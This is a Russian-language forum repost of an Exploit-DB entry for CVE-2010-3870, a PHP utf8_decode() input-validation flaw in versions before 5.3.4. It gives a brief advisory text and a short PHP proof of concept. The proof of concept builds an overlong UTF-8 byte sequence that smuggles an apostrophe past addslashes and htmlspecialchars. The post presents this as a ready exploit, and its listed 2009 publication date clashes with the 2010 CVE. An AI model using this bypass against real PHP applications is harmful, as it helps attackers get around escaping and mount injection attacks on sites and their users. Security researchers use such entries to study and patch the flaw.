Exploit PHP 5.3.2 - 'xml_utf8_decode()' UTF-8 Input Validation

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
34950
Проверка EDB
  1. Пройдено
Автор
[email protected]
Тип уязвимости
REMOTE
Платформа
PHP
CVE
cve-2010-3870
Дата публикации
2009-05-11
PHP 5.3.2 - 'xml_utf8_decode()' UTF-8 Input Validation
PHP:
source: https://www.securityfocus.com/bid/44605/info

PHP is prone to a vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow attackers to provide unexpected input and possibly bypass input-validation protection mechanisms. This can aid in further attacks that may utilize crafted user-supplied input.

Versions prior to PHP 5.3.4 are vulnerable.

<?php
$ill=chr(0xf0).chr(0xc0).chr(0xc0).chr(0xa7);
$ill=addslashes($ill);
echo utf8_decode("$ill");
echo htmlspecialchars ($ill,ENT_QUOTES,"utf-8" );
?>
 
Источник
www.exploit-db.com

Похожие темы